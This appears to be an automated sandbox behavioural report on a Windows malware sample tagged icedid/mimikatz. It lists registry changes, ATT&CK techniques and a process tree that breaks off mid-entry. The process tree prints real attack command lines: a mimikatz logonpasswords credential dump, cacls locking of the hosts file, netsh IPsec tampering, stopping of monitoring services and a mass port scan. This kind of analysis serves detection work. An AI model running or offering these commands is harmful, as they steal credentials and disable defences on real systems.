Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2024-12-24_9ae25e5d388264e20778f3f5bb6107c1_hacktools_icedid_mimikatz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xohudmc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pnreyic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ncgcflyve.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pnreyic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wpcap.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ttsqkuccf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4880	cmd.exe
4068	PING.EXE

NSIS installer 3 IoCs

installer

resource	yara_rule
behavioral2/files/0x0007000000023c66-6.dat	nsis_installer_2
behavioral2/files/0x0007000000023c6f-14.dat	nsis_installer_1
behavioral2/files/0x0007000000023c6f-14.dat	nsis_installer_2

Modifies data under HKEY_USERS 45 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	cntrtrctt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	cntrtrctt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	cntrtrctt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	cntrtrctt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	cntrtrctt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	cntrtrctt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	cntrtrctt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	cntrtrctt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	cntrtrctt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	cntrtrctt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	pnreyic.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	pnreyic.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	cntrtrctt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals	cntrtrctt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	cntrtrctt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	cntrtrctt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	pnreyic.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	cntrtrctt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	cntrtrctt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	cntrtrctt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	cntrtrctt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	cntrtrctt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	cntrtrctt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	cntrtrctt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	pnreyic.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	cntrtrctt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	cntrtrctt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	pnreyic.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	cntrtrctt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	cntrtrctt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	cntrtrctt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	cntrtrctt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	cntrtrctt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	cntrtrctt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	cntrtrctt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	cntrtrctt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	pnreyic.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	cntrtrctt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	cntrtrctt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	cntrtrctt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	cntrtrctt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	cntrtrctt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	cntrtrctt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	cntrtrctt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	cntrtrctt.exe

Modifies registry class 14 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\	pnreyic.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile"	pnreyic.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile"	pnreyic.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\	pnreyic.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile"	pnreyic.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile"	pnreyic.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\	pnreyic.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile"	pnreyic.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\	pnreyic.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile"	pnreyic.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\	pnreyic.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\	pnreyic.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\	pnreyic.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile"	pnreyic.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4068	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3164	schtasks.exe
1528	schtasks.exe
4772	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe

Suspicious behavior: LoadsDriver 15 IoCs

pid	Process
648	Process not Found
648	Process not Found
648	Process not Found
648	Process not Found
648	Process not Found
648	Process not Found
648	Process not Found
648	Process not Found
648	Process not Found
648	Process not Found
648	Process not Found
648	Process not Found
648	Process not Found
648	Process not Found
648	Process not Found

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
1608	2024-12-24_9ae25e5d388264e20778f3f5bb6107c1_hacktools_icedid_mimikatz.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	1608	2024-12-24_9ae25e5d388264e20778f3f5bb6107c1_hacktools_icedid_mimikatz.exe
Token: SeDebugPrivilege	996	pnreyic.exe
Token: SeDebugPrivilege	4844	pnreyic.exe
Token: SeDebugPrivilege	1028	vfshost.exe
Token: SeDebugPrivilege	1620	cntrtrctt.exe
Token: SeLockMemoryPrivilege	1004	zergmt.exe
Token: SeLockMemoryPrivilege	1004	zergmt.exe
Token: SeDebugPrivilege	4728	cntrtrctt.exe
Token: SeDebugPrivilege	3012	cntrtrctt.exe
Token: SeDebugPrivilege	1952	cntrtrctt.exe
Token: SeDebugPrivilege	2140	cntrtrctt.exe
Token: SeDebugPrivilege	3460	cntrtrctt.exe
Token: SeDebugPrivilege	3016	cntrtrctt.exe
Token: SeDebugPrivilege	2888	cntrtrctt.exe
Token: SeDebugPrivilege	392	cntrtrctt.exe
Token: SeDebugPrivilege	540	cntrtrctt.exe
Token: SeDebugPrivilege	3100	cntrtrctt.exe
Token: SeDebugPrivilege	5104	cntrtrctt.exe
Token: SeDebugPrivilege	4988	cntrtrctt.exe
Token: SeDebugPrivilege	1848	cntrtrctt.exe
Token: SeDebugPrivilege	664	cntrtrctt.exe
Token: SeDebugPrivilege	452	cntrtrctt.exe
Token: SeDebugPrivilege	2096	cntrtrctt.exe
Token: SeDebugPrivilege	1488	cntrtrctt.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
1608	2024-12-24_9ae25e5d388264e20778f3f5bb6107c1_hacktools_icedid_mimikatz.exe
1608	2024-12-24_9ae25e5d388264e20778f3f5bb6107c1_hacktools_icedid_mimikatz.exe
996	pnreyic.exe
996	pnreyic.exe
4844	pnreyic.exe
4844	pnreyic.exe
2680	xohudmc.exe
3600	ditzew.exe
4076	pnreyic.exe
4076	pnreyic.exe
5852	pnreyic.exe
5852	pnreyic.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1608 wrote to memory of 4880	1608	2024-12-24_9ae25e5d388264e20778f3f5bb6107c1_hacktools_icedid_mimikatz.exe	83
PID 1608 wrote to memory of 4880	1608	2024-12-24_9ae25e5d388264e20778f3f5bb6107c1_hacktools_icedid_mimikatz.exe	83
PID 1608 wrote to memory of 4880	1608	2024-12-24_9ae25e5d388264e20778f3f5bb6107c1_hacktools_icedid_mimikatz.exe	83
PID 4880 wrote to memory of 4068	4880	cmd.exe	85
PID 4880 wrote to memory of 4068	4880	cmd.exe	85
PID 4880 wrote to memory of 4068	4880	cmd.exe	85
PID 4880 wrote to memory of 996	4880	cmd.exe	87
PID 4880 wrote to memory of 996	4880	cmd.exe	87
PID 4880 wrote to memory of 996	4880	cmd.exe	87
PID 4844 wrote to memory of 5072	4844	pnreyic.exe	89
PID 4844 wrote to memory of 5072	4844	pnreyic.exe	89
PID 4844 wrote to memory of 5072	4844	pnreyic.exe	89
PID 5072 wrote to memory of 4936	5072	cmd.exe	91
PID 5072 wrote to memory of 4936	5072	cmd.exe	91
PID 5072 wrote to memory of 4936	5072	cmd.exe	91
PID 5072 wrote to memory of 672	5072	cmd.exe	92
PID 5072 wrote to memory of 672	5072	cmd.exe	92
PID 5072 wrote to memory of 672	5072	cmd.exe	92
PID 5072 wrote to memory of 2168	5072	cmd.exe	93
PID 5072 wrote to memory of 2168	5072	cmd.exe	93
PID 5072 wrote to memory of 2168	5072	cmd.exe	93
PID 5072 wrote to memory of 2308	5072	cmd.exe	94
PID 5072 wrote to memory of 2308	5072	cmd.exe	94
PID 5072 wrote to memory of 2308	5072	cmd.exe	94
PID 5072 wrote to memory of 1436	5072	cmd.exe	95
PID 5072 wrote to memory of 1436	5072	cmd.exe	95
PID 5072 wrote to memory of 1436	5072	cmd.exe	95
PID 5072 wrote to memory of 1780	5072	cmd.exe	96
PID 5072 wrote to memory of 1780	5072	cmd.exe	96
PID 5072 wrote to memory of 1780	5072	cmd.exe	96
PID 4844 wrote to memory of 3096	4844	pnreyic.exe	98
PID 4844 wrote to memory of 3096	4844	pnreyic.exe	98
PID 4844 wrote to memory of 3096	4844	pnreyic.exe	98
PID 4844 wrote to memory of 3652	4844	pnreyic.exe	100
PID 4844 wrote to memory of 3652	4844	pnreyic.exe	100
PID 4844 wrote to memory of 3652	4844	pnreyic.exe	100
PID 4844 wrote to memory of 5076	4844	pnreyic.exe	102
PID 4844 wrote to memory of 5076	4844	pnreyic.exe	102
PID 4844 wrote to memory of 5076	4844	pnreyic.exe	102
PID 4844 wrote to memory of 2776	4844	pnreyic.exe	112
PID 4844 wrote to memory of 2776	4844	pnreyic.exe	112
PID 4844 wrote to memory of 2776	4844	pnreyic.exe	112
PID 2776 wrote to memory of 2436	2776	cmd.exe	114
PID 2776 wrote to memory of 2436	2776	cmd.exe	114
PID 2776 wrote to memory of 2436	2776	cmd.exe	114
PID 2436 wrote to memory of 3048	2436	wpcap.exe	115
PID 2436 wrote to memory of 3048	2436	wpcap.exe	115
PID 2436 wrote to memory of 3048	2436	wpcap.exe	115
PID 3048 wrote to memory of 1664	3048	net.exe	117
PID 3048 wrote to memory of 1664	3048	net.exe	117
PID 3048 wrote to memory of 1664	3048	net.exe	117
PID 2436 wrote to memory of 2904	2436	wpcap.exe	118
PID 2436 wrote to memory of 2904	2436	wpcap.exe	118
PID 2436 wrote to memory of 2904	2436	wpcap.exe	118
PID 2904 wrote to memory of 2960	2904	net.exe	120
PID 2904 wrote to memory of 2960	2904	net.exe	120
PID 2904 wrote to memory of 2960	2904	net.exe	120
PID 2436 wrote to memory of 4768	2436	wpcap.exe	121
PID 2436 wrote to memory of 4768	2436	wpcap.exe	121
PID 2436 wrote to memory of 4768	2436	wpcap.exe	121
PID 4768 wrote to memory of 1232	4768	net.exe	123
PID 4768 wrote to memory of 1232	4768	net.exe	123
PID 4768 wrote to memory of 1232	4768	net.exe	123
PID 2436 wrote to memory of 1144	2436	wpcap.exe	124

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2060
- C:\Windows\TEMP\gcettrccj\zergmt.exe
  "C:\Windows\TEMP\gcettrccj\zergmt.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1004

C:\Users\Admin\AppData\Local\Temp\2024-12-24_9ae25e5d388264e20778f3f5bb6107c1_hacktools_icedid_mimikatz.exe
"C:\Users\Admin\AppData\Local\Temp\2024-12-24_9ae25e5d388264e20778f3f5bb6107c1_hacktools_icedid_mimikatz.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1608
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\hrmeszcf\pnreyic.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4880
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4068
- - C:\Windows\hrmeszcf\pnreyic.exe
    C:\Windows\hrmeszcf\pnreyic.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:996

C:\Windows\hrmeszcf\pnreyic.exe
C:\Windows\hrmeszcf\pnreyic.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4844
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5072
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4936
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    - System Location Discovery: System Language Discovery
    PID:672
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2168
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    PID:2308
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1436
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1780
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static del all
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3096
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add policy name=Bastards description=FuckingBastards
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3652
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filteraction name=BastardsList action=block
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:5076
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\nblmptktz\etgfqftjv\wpcap.exe /S
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2776
- - C:\Windows\nblmptktz\etgfqftjv\wpcap.exe
    C:\Windows\nblmptktz\etgfqftjv\wpcap.exe /S
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2436
  - - C:\Windows\SysWOW64\net.exe
      net stop "Boundary Meter"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3048
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Boundary Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1664
  - - C:\Windows\SysWOW64\net.exe
      net stop "TrueSight Meter"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2904
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "TrueSight Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2960
  - - C:\Windows\SysWOW64\net.exe
      net stop npf
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4768
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop npf
        5⤵
        
        PID:1232
  - - C:\Windows\SysWOW64\net.exe
      net start npf
      4⤵
      PID:1144
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1004
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3876
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    PID:4960
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:3704
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  PID:4804
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1276
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:3940
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\nblmptktz\etgfqftjv\ttsqkuccf.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\nblmptktz\etgfqftjv\Scant.txt
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3160
- - C:\Windows\nblmptktz\etgfqftjv\ttsqkuccf.exe
    C:\Windows\nblmptktz\etgfqftjv\ttsqkuccf.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\nblmptktz\etgfqftjv\Scant.txt
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:4124
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\nblmptktz\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\nblmptktz\Corporate\log.txt
  2⤵
  - Drops file in Windows directory
  PID:2176
- - C:\Windows\nblmptktz\Corporate\vfshost.exe
    C:\Windows\nblmptktz\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:1028
- C:\Windows\SysWOW64\cmd.exe
